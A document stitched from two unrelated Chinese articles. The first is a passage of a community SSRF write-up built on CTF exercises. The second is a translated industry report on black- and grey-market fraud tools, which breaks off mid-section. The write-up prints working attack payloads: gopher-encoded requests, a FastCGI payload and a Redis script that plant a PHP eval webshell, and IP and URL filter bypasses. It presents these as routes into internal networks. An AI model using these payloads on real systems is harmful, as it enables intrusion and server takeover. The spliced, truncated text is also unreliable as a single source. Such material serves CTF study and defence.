好了，今天到这里，下次见。
**微信：qq9123013 备注：v8交流学习
邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 前言
之前的时候，对SSRF的了解仅限与概念，至于具体的利用方法，和绕过，都是没有什么概念的，这一次，将之前没有学到的东西好好学习一下，总结一下。
# 什么是SSRF
SSRF(服务端请求伪造漏洞)
由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
一般情况下，SSRF针对的都是一些外网无法访问的内网，所以需要SSRF使目标后端去访问内网，进而达到我们攻击内网的目的。
通过SSRF，我们可以访问目标内网的redis服务，mysql服务，smpt服务，fastcgi服务等
造成漏洞的一些函数
`file_get_contents()：将整个文件或一个url所指向的文件读入一个字符串中。`
`readfile()：输出一个文件的内容。`
`fsockopen()：打开一个网络连接或者一个Unix 套接字连接。`
`curl_exec()：初始化一个新的会话，返回一个cURL句柄，供curl_setopt()，curl_exec()和curl_close()
函数使用。`
`fopen()：打开一个文件文件或者 URL。`
**file_get_contents()/readfile()**
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
**fsockopen()**
`fsockopen($hostname,$port,$errno,$errstr,$timeout)`用于打开一个网络连接或者一个Unix
套接字连接，初始化一个套接字连接到指定主机（hostname），实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接，进行传输原始数据。
fsockopen()将返回一个文件句柄，之后可以被其他文件类函数调用（例如：fgets()，fgetss()，fwrite()，fclose()还有feof()）。如果调用失败，将返回false
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
**curl_exec()**
<?php
$url=$_POST['url'];
$ch=curl_init($url); //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result);
?>
接下来我就SSRF涉及的协议和一些bypass结合一些CTF进行分析
## SSRF攻击中涉及的一些协议
因为只是展示各个协议的用途，所以这里就不自己搭环境，直接用CTFHUB的技能树了
### http协议
**题目描述：** 尝试访问位于127.0.0.1的flag.php吧
payload： `?url=http://127.0.0.1/flag.php`
这就是因为过滤 不严谨，导致我们可以访问内网。
### dict协议
_在SSRF中，dict协议与http协议可用来探测内网的主机存活与端口开放情况。_
**题目描述：** 来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦
通过题目应该可以判断 ，跟上一道题是差不多的，但是就是端口问题
先判断哪个端口存在web服务
这里是直接用burp爆破端口就可以
但是我估计环境出问题了，一直没有爆破出想要的端口。
这里如果爆破出的话，直接访问就行
### file伪协议
**题目描述：** 尝试去读取一下Web目录下的flag.php吧
file为协议就不用多说了
payload：`?url=file:/var/www/html/flag.php`
但是需要知道文件具体位置才能读到敏感信息。
### Gopher协议
_Gopher是Internet上一个非常有名的信息查找系统，它将Internet
上的文件组织成某种索引，很方便地将用户从Internet的一处带到另一处如果发起post请求，回车换行需要使用%0d%0a，如果多个参数，参数之间的
&也需要进行URL编码_
_在SSRF中经常会使用Gopher来构造GET/POST包攻击应用。_
**题目描述：** 这次是发一个HTTP
POST请求。对了，ssrf是用php的curl实现的。并且会跟踪302跳转，我准备了一个302.php，可能对你有用哦。
进入题目直接查看源码
`?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php`
index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
这里告诉我们要去用127.0.0.1访问flag.php
那道key，看这个样子是要我们POST key，但是提交页面又没有提交的按钮，所以这里就需要我们去本地新建一个POST
这里我们需要构造一个POST的数据包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=00f001523d0b955749ea5e3b0ca09b5f
然后我们就可以进行url编码了，编码次数取决于我们访问次数。
第一次编码：
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A替换成%0d%0A，结尾加上%0d%0A,并且末尾要加上%0d%0a（\r\n）
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后在进行一次URL编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
当然手动编码，加上复杂的转化，错误率大大提高，所以，我在网上找了个脚本
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=c384d200658f258e5b5c681bf0aa29a8
"""
#注意后面一定要有回车，回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
直接将编码所得，提交即可。
### FastCGI协议
**题目描述** ： 这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助
给了个附件介绍fastcgi协议和PHP-FPM
FastCGI
Wikipedia对FastCGI的解释：快速通用网关接口（FastCommon Gateway Interface／FastCGI）是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口（CGI）的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销，从而使服务器可以同时处理更多的网页请求。
php-fpm
官方对php-fpm的解释是FPM（FastCGI 进程管理器）用于替换 PHP FastCGI 的大部分附加功能，对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现，其默认监听9000端口
这里，附件给的复现方式虽然已经挺好的了，但是我查阅资料后，发现还有第二种做法，而且相对简单，我就用第二种做法，复现一下。
使用工具 [Gopherus](https://github.com/tarunkant/Gopherus) 生成攻击FastCGI协议的payload
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
这里我直接参考师傅的payload，生成的payload
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/html/index.php%20%20%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
这里对其进行url二次编码，因为url会对其解码一次，curl也会解码一次，所以要编码两次。这个payload是已经进行过一次编码的，所以再编码一次即可。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
然后上传成功
蚁剑连接shell
连接成功，并在根目录找到flag
### Redis协议
**题目描述** ： 这次来攻击redis协议吧，redis://127.0.0.1:6379。资料？没有资料！自己找！
总所周知，redis服务是开在6379端口，通常是利用redis未授权访问而达到写入shell或者反弹ssh等目的。
这里我本来想着用gopherus 直接生成针对redis未授权访问，写入shell
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次编码的时候传入没有成功，不知道为什么。这里我还是用whoami师傅的方法来打。
构造redis命令：
flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
WHOAMI师傅的EXP脚本：
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload) # 由于我们这里是GET，所以要进行两次url编
码
生成如下payload
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
get传值，蚁剑连接。
但是我这一直报错，就很怪
## 常见的bypass绕过方式
这里依旧用ctfhub的题目，但是绕过方法，我会就buu和ctfshow 的相关题目进行扩展。
### URL Bypass
**题目描述** ： 请求的URL中必须包含<http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧>
构造payload：
?url=http://[email protected]/flag.php
扩展：如果要求以`http://notfound.ctfhub`开头`.com` 结尾的话，依旧可以使用@
payload
`?url=http://[email protected]/flag.php.com`
此类需要某某开头 某某结束的题目均可使用@进行绕过。
### 数字IP Bypass
**题目描述** :这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
不能使用`127/172` 我们可以使用进制转换等
进制转换
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
扩展：
当有的对跳转的地址的长度有要求
host<5
url=http://0/flag.php
url=http://127.1/flag.php
host<3
url=http://0/flag.php
### 302跳转 Bypass
**题目描述** ：SSRF中有个很重要的一点是请求可能会跟随302跳转，尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
302跳转就是由一个URL跳转到另外一个URL当中去。
IP被ban，改个不含127的试试
出了，我甚至没搞明白啥意思，有点懵。
### DNS重绑定 Bypass
**题目描述** ：无
`DNS重绑定DNS
Rebinding攻击在网页浏览过程中，用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址，然后向对应的IP地址请求资源，最后展现给用户。而对于域名所有者，他可以设置域名所对应的IP地址。当用户第一次访问，解析域名获取一个IP地址；然后，域名持有者修改对应的IP地址；用户再次请求该域名，就会获取一个新的IP地址。对于浏览器来说，整个过程访问的都是同一域名，所以认为是安全的。这就造成了DNS
Rebinding攻击。`
在自己服务器上写一个index.php内容如下：
<?php
header("Location:http://127.0.0.1/flag.php");
然后payload访问自己这个地址就可以了。
或者也可以利用这个网站获取一个测试用的域名：<https://lock.cmpxchg8b.com/rebinder.html>
直接访问
需要访问多次，因为这个域名会在两个ip之间跳转。
# 总结
虽然这篇文章都是基于CTF来分析SSRF相关知识的，但是我觉得可以从这些CTF题目中延伸出一些渗透攻击的思路。
就比如：如果我们发现一处SSRF，我们可以使用使用`file`
伪协议读取敏感信息，http/s和dict`协议判断内网存活主机和端口，从端口判断内网中存在的服务。`
当我们发现`redis/fastcgi/mysql`等服务时， 我们可以利用协议`gopher`和工具 `gopherus` 进行getshell。
# 参考
<http://www.qwzf.top/2020/03/21/SSRF%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8/>
<https://www.freebuf.com/articles/web/258365.html>
<https://blog.csdn.net/qq_49422880/article/details/117166929>
<https://www.freebuf.com/articles/web/260806.html> | 社区文章 |
# 互联网黑灰产工具软件安全报告：2018年度半年报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 版权声明
本报告版权属于威胁猎人（深圳永安在线科技有限公司），并受法律保护。转载、摘编或利用其它方式使用本报告文字或者观点的，应注明“来源：威胁猎人（深圳永安在线科技有限公司）”。违反上述声明者，将追究其相关法律责任。
## 前言
2017年5月爆发的Wannacry勒索病毒造成了严重的影响，使得NSA武器库进入了大众的视野；在网络安全这片看不见硝烟的战场上，在战场的另外一个角落——互联网业务安全领域，黑灰产从业者手里也掌握着威力强大的武器库：各式各样的工具软件，而且不为人们熟知。如果说手机号、帐号、IP、设备等，是黑产从业者的弹药，那么工具软件就是将这些弹药威力发挥到最大的武器。而对于工具软件的分析和研究，是黑产研究的重要组成部分。
## 一、黑灰产工具软件特征分析
威胁猎人对过去半年捕获到的黑灰产工具软件进行了系统性的梳理和分析，发现现阶段黑灰产工具软件有如下一些明显的特征，深入理解这些特征，有助于我们对黑灰产业的发展有更加准确的掌控和判断。
### 1.1与产业链深度整合
伴随着网络黑灰产的发展和成熟，如今的工具软件已经深度整合到了整个产业链当中，成为其中不可取代的一部分。以账号注册场景为例，黑灰产业除了掌握接码平台、打码平台和动态IP等资源外，还通过整合改机工具，模拟点击工具，批量扫号工具，代理软件工具等各类工具软件，实现了高度自动化和高度协同的作业流程，如下图：
### 1.2极强的版本快速迭代能力
相较于正常的软件，黑灰产工具软件具有更快的版本更新迭代速度。以一款针对京东的注册机工具软件为例，从18年1月到18年4月，我们共监控到该软件的20次版本更新，频繁时1天更新2个版本，如下图：
发现时间
|
软件版本号
---|---
2018年1月5日
|
[注册客户端]京东注册 v18.0105.rar
2018年1月9日
|
[注册客户端]京东注册 v18.0109.rar
2018年1月18日
|
[注册客户端]京东注册 v18.0118.rar
2018年1月19日
|
[注册客户端]京东注册 v18.0119.rar
2018年1月21日
|
[注册客户端]京东注册 v18.0121.rar
2018年1月30日
|
[注册客户端]京东注册 v18.0130.rar
2018年2月26日
|
[注册客户端]京东注册 v18.0226.rar
2018年3月19日
|
[注册客户端]京东注册 v18.0319.2.rar
2018年3月21日
|
[注册客户端]京东注册 v18.0321.rar
2018年3月22日
|
[注册客户端]京东注册 v18.0322.rar
2018年4月7日
|
[注册客户端]京东注册 v18.0407.rar
2018年4月11日
|
[注册客户端]京东注册 v18.04011.rar
2018年4月11日
|
[注册客户端]京东注册 v18.04011.2.rar
2018年4月15日
|
[注册客户端]京东注册 v18.04015.rar
2018年4月18日
|
[注册客户端]京东注册 v18.0418.rar
2018年4月20日
|
[注册客户端]京东注册 v18.0420.rar
2018年4月25日
|
[注册客户端]京东注册 v18.0425.rar
2018年4月25日
|
[注册客户端]京东注册 v18.0425.2.rar
2018年4月26日
|
[注册客户端]京东注册 v18.0426.rar
2018年4月27日
|
[注册客户端]京东注册 v18.0427.rar
除了增加新功能，修复BUG之外，频繁的版本更新是黑灰产从业人员跟业务安全团队攻防对抗加剧的体现。一个比较典型的场景：一款针对X厂商的工具软件发布一段时间之后，通过业务侧的数据和模型，X厂商的业务安全团队感知到了由于工具软件产生的异常，并通过修复漏洞，改进检测模型等方式使工具软件失效；而工具软件的作者则需要重新找到新的突破口，然后发布新版本。
### 1.3显著的逐利化趋向
如果说早些年的黑客工具软件多多少少存在炫技的成分，当下的黑灰产工具则已经变得非常“务实”，完全以利益为驱动。近些年互联网发展迅猛，尤其以短视频行业、自媒体行业和电子商务行业为首的一批互联网公司业务蓬勃发展；而寄生在这些公司业务上的黑灰产从业人员，有着非常敏锐的“商业”嗅觉。每当业务发展过程中出现了一些薄弱点，很快就会出现利用此来攫取利益的工具软件，其中以针对营销活动的薅羊毛工具软件最为典型。美团在18年俄罗斯世界杯前夕推出了看球竞猜活动：
活动推出后不久，网络上就出现了50款以上针对该活动的工具软件，跟美团业务相关的工具软件中，竞猜类软件直接蹿升到第一位，如下图：
### 1.4游走在法律边缘的灰色地带
自《中国人民共和国网络安全法》发布并严格执行以来，黑产从业者发生了两个明显的变化：一个是越来越多的人采用匿名通信，匿名交易的方式来隐藏自己；另外一个是明显触发法律的黑产工具，如盗号木马，远控木马，游戏外挂等，做的人越来越少。虽然也有铤而走险者，但更多的人还是会权衡风险和收益，做到最大化的趋利避害。以电商行业为例，虽然有人仍然利用一些木马类工具软件进行资金的盗取和诈骗，但更为活跃的是一些辅助类工具软件，比如商家辅助工具，提供数据采集和分析，店铺引流等功能。有些软件还在界面显著位置放置了免责声明（虽然不一定有用），如下图：
当然，随着法律的不断健全和完善，目前认为是法律边缘的“灰色”地带，未来某一天也可能不再会是“安全”地带，这也必然会再次带来从业人群，以及相关工具软件的集体迁移。
### 1.5黑吃黑现象非常普遍
如果说黑灰产也是一个江湖，并不是所有的从业者都会遵守江湖规则，黑吃黑的现象非常普遍。这点在工具软件上，也体现得非常明显。在网络上传播的黑灰产工具软件中，很大一部分都存在各种各样的问题，对于刚进入这个江湖的“小白”来说，一不小心就会成为他人的盘中餐。根据我们的分析，有问题的工具软件主要有以下几类：
1、挂羊头卖狗肉类：这类工具软件根本没有其宣称的功能，却会在背后偷偷干其他一些事情。最典型的是一款流氓推广软件（注：运行之后会在后台下载并安装各种“全家桶”），以“刺激战场辅助外挂”，“流量宝疯狂刷量”，“抢红包神器”等名字在网络上传播量，每天的下载量超过1千以上；
2、买一送一类：简单来说就是二次打包，一些别有用心的人把正常的工具软件和病毒木马打包在一起，然后在放到网络上传播。由于黑灰产工具很多情况下都会被杀软报毒，所以即使真的有病毒，工具的使用者也会选择放行。经常使用黑灰产工具软件的人，其设备上往往也存在着各式各样的病毒；
3、请君入瓮类：一些黑灰产工具在使用之前，要先进行登录操作（比如针对腾讯业务的工具软件需要先登录QQ或微信，针对阿里业务的工具软件需要先登录淘宝），因为在一些情况下需要拿到登录态才能进行下一步的操作。然而，输入的账号和密码不仅仅用于业务的登录，还发送到了一些别有用心的工具软件制作者手里；
4、夸大其辞类：这种一般出现在收费类工具软件中。花大价钱买了所谓的牛逼工具，比如“百分百修改机器码”，“VIP会员破解”，“全自动秒杀”等，用起来发现实际效果很差，甚至没有效果。工具的买家遇到这种情况肯定是投诉无门，只能咬碎了牙往肚里吞。
所以，奉劝一下打算进入这个江湖的人，黑产有风险，入行需谨慎。
## 二、不断进化的方法和手段
根据威胁猎人TH-Karma业务情报监测平台统计，每天互联网上新产生的各式各样的黑灰产工具软件，包括软件更新，超过1千款以上。这些工具软件伴随着互联网技术和IT技术的发展，也在不断的发展和进化中。
### 2.1从模拟脚本到多种开发语言
黑灰产工具软件在早期，大多以通过模拟人工操作的方式实现攻击，比如基于按键精灵、大漠插件等编写定制化的脚本，就可以通过模拟点击完成注册，登录，刷金币等操作。这种方式简单，学习门槛低，但是使用的场景受限，效率也偏低。
后来也出现了基于VB/C/C++等高级语言编写的黑灰产工具软件，这类工具软件不再基于模拟人工操作的方式，更多的是基于网络协议的破解和重放，直接攻击业务接口，从而可以在单位时间内发起更多的攻击次数，将利润最大化。不过这类编程语言开发难度较高，需要开发者具备比较好的编程能力。
如今的黑灰产工具软件，则多以易语言、C#、Python、Lua等语言编写。这些语言由于功能化模块和框架比较完善，很多复杂功能通过一个简单的调用就可以完成，有着上手快，开发周期短的优点。尤其是易语言和C#，我们过去几个月捕获的PC端黑灰产工具软件，超过50%都是采用这两个语言编写。
除此之外，为了保护自己的核心代码逻辑不被他们发现，目前很多工具软件还会使用一些加壳软件给自己加壳。下图是一款基于C#编写的破解百度网盘下载限速的工具软件，本身加了UPX壳：
相对于VMProtect，DNGuardHVM等强壳，UPX壳比较容易脱掉；脱壳之后，可以找出其核心代码逻辑，下图是拼接百度网盘下载链接的代码片段：
value: function(e) {
var t = this.getPrefixLength();
for (var n in e) this.fileDownloadInfo.push({
name: e[n].path.substr(t),
link: location.protocol + "//pcs.baidu.com/rest/2.0/pcs/file?method=download&app_id=250528&path=" + encodeURIComponent(e[n].path),
md5: e[n].md5
});
return Promise.resolve()
}
### 2.2从PC端到多端支持
随着近年来移动互联网的高速发展，塑造了全新的服务体验和生活形态；互联网的产品、服务以及用户也从PC端更多的迁移到了移动端。对于黑灰产从业人员来说，他们所使用的工具软件，也从PC端发展到了移动端。从目前最火的短视频行业来看，过去几个月我们捕获了大量的黑灰产工具软件，移动端的数量已经远远超过了PC端，如下图：
相较于PC端工具软件，移动端工具软件可以通过外挂的方式，实现更低的对抗成本。经过我们分析，捕获的短视频行业黑灰产工具中，就有大量基于按键精灵安卓版和易安卓编写的黑灰产工具，覆盖了注册，刷量，引流等黑灰产核心业务场景，如下图：
图1
### 2.3从终端发展到云端
如果说黑灰产工具软件从PC端发展到移动端是现在的趋势，那么从终端走向云端则是未来的趋势，部分工具软件已经体现出来了这样的特点。以我们分析的一款刷视频播放量的软件为例，从今年7月份开始，终端的工具软件只保留了登录，注册，充值等基本功能，登录后可以发布任务，但刷视频播放量的核心逻辑已经放到了云端：
促成工具软件从终端往云端化发展，主要有两方面的原因：
1、黑灰产技术的发展，特别是群控/云控系统等技术的发展，使得部分黑灰产从业人员手中掌握了大量的帐号和设备资源，如下图：
图2
对于这些人而言，不再需要开发专门的工具软件给到下游的终端设备上使用，下游只需要通过网页或者其他方式提交任务需求，所有动作都可以在其掌握的大量云端设备上完成；
2、终端的黑灰产工具软件，即使只是在小圈子内传播，也可以比较容易被外界获取到，然后通过逆向分析等方式获取到该工具的核心逻辑，从而被业务侧封杀，或者被他人模仿；云端化则将工具的核心逻辑隐藏到了后端，对于外界来说就是一个黑盒，想要封杀或者模仿的难度大大增加。
### 2.4从机械执行到机器学习
早期的工具软件，执行的核心逻辑大多是Hardcode在程序代码里面，或者通过编写任务脚本的方式来指定。虽然编写简单，但都是机械的执行固定的逻辑，不仅缺乏扩展性和自适应能力，比如针对不同的屏幕分辨率，需要编写不同的脚本，也比较容易被检测和拦截。
随着IT技术的不断发展，特别是近些年机器学习和深度学习在图像识别等领域取得长足进展，黑灰产工具软件也完成了自身的技术升级。以验证码为例，厂商通过验证码来识别人和机器，从简单的字母/数字开始演变到现在流行的滑块验证码，甚至各种验证码组合使用；另一方面，发展到今天，黑灰产从业人员手里已经拥有了完整的基于深度学习的验证码识别系统，无论是从获取验证码的响应速度还是识别准确率都远高于传统的打码平台（注：传统的打码平台主要依赖于人工输入或者以针对某个网站生成的验证码识别库）。如图3.1和3.2所示：
图3.1
图3.2
另一个典型的例子是过脸认证。专业的过脸认证软件可以通过简单的自拍照，快速生成3D人脸模型，以及快速模拟人脸做出简单的认证动作，从而绕过注册或登录环节的人脸识别。
## 三、业务安全中活跃的黑灰产工具
根据我们捕获的黑灰产工具软件情报分析，目前活跃的工具软件按照业务功能，大致可分为5大类：账号类、刷量类、薅羊毛类、内容爬取类和特定功能类。每种类型的工具数量占比如下图所示：
图3-1工具功能类型占比
在业务安全对抗中，刷量刷单类是黑灰产最常用的攻击工具，也是活跃度最高的一类工具，如刷文章阅读量、刷视频播放量、刷粉丝量和刷订单数量等，这类攻击集中体现在自媒体行业、电商行业和视频行业；除此之外，账号类、薅羊毛类和内容爬取类工具也活跃于黑灰产和厂商业务安全对抗中；特定功能类工具则主要包括模拟器、多开、改机和秒拨等功能性工具软件。
### 3.1账号类工具软件
在大部分黑产链中，账号的质量和数量很大程度决定了黑产的投入产出比。账号类工具软件主要针对注册场景和登陆场景，实现的功能包括批量注册、扫号、鉴权和越权等。以“火牛注册扫号软件”为例，该工具直接和接码平台对接，用于接收短信验证码；同时内置VPS拨号功能用于绕过厂商的IP限制策略，从而完成帐号的批量注册和扫号。
图3-1-1 火牛注册扫号软件
帐号类的工具软件的牟利方式包括：1、直接对外出售批量注册的小号、对账号售卖有一定的分销制度，不同等级的代理拿货价格不一；2、通过将批量注册的小号用于刷量、引流的业务场景，像qq、email、微博号本身对其他厂商的业务可做授权服务，这类账号称为跳转号，同时跳转号的成本低廉；3、批量针对厂商推广活动的定制化小号，结合接码平台、打码平台等完成全自动化欺诈作业，短时间内薅取大量用户奖金。
如今以账号为核心的黑灰产业链在各行业的发展都具有一定规模，尤其是在需要大规模账号刷量的业务场景，包括虚假注册、实名过脸、批量养号和刷量等。除去明显给厂商业务带来明显的薅羊毛伤害，更多的是虚假小号带来潜在的危害性。比如黄赌毒的传播，以及被使用于引流诈骗场景给厂商带来不良的舆论效果。下表是近期我们监控到的一些比较活跃的账号类工具软件：
工具名称
|
活跃度
---|---
百度云PC破解版
|
高
PanDownload
|
高
今日头条账号注册机
|
中
爱奇艺会员扫描器
|
中
火牛扫号查询
|
中
表3-1-1 活跃的账号类工具
### 3.2刷量刷单类工具软件
刷量刷单类工具软件主要活跃在电商、自媒体、短视频等行业，主要功能包括刷成交量、刷阅读量、刷播放量、刷关注量、刷粉丝量、以及刷评论量等。以“久久快手刷播放”为例，该工具首先批量加载一批快手小号的Token，然后通过模拟网络请求的方式，访问指定的快手作品网址，最终可以成功刷取播放量。
图3-2-1久久快手刷播放
刷量刷单类工具软件的牟利方式包括：1、通过提供刷量、刷单服务对任务发布者收取佣金；2、针对电商平台对商家补贴的运费，通过结合空包物流服务，发起退货请求薅取补贴；3、将点赞和刷评论结合，在用户作品下置顶评论，通过个人介绍或是评论内容出粉，出粉价格按引入其他平台账号个数计数等。
下表是近期我们监控到的一些比较活跃的刷量刷单类工具软件：
工具名称
|
活跃度
---|---
快手刷粉丝软件
|
中
今日头条（关注+私信+评论）
|
高
招财空包网拼多多辅助
|
中
淘宝全自动刷单软件
|
中
拼多多自动发空包单软件
|
中
表3-2-1 活跃的刷量刷单类工具
### 3.3薅羊毛类工具软件
薅羊毛类工具软件主要活跃于营销活动、电商抢购、红包领取等场景。以“瓦力抢红包”为例，该工具通过开通辅助功能，模拟点击控件从而实现抢红包及自动回复等功能。
图3-2-2 瓦利抢红包
薅羊毛类工具软件的牟利方式包括：1、直接出售工具软件获利；2、利用工具领取平台推出的优惠券或减免红包等，或者将优惠券、红包等转手出售；3、将抢购到的物品二次出售，从而赚取差价等。
下表是近期我们监控到的一些比较活跃的薅羊毛类工具软件：
工具名称
|
活跃度
---|---
刀锋京东抢购软件 V3.06
|
中
京东申请试用（撸实物）V1.0
|
中
京东火牛-下单抢购软件1087
|
高
聚划算红包监控
|
中
京东火牛-查券领券软件545
|
中
表3-2-3 活跃的薅羊毛类工具
### 3.4内容爬取类工具软件
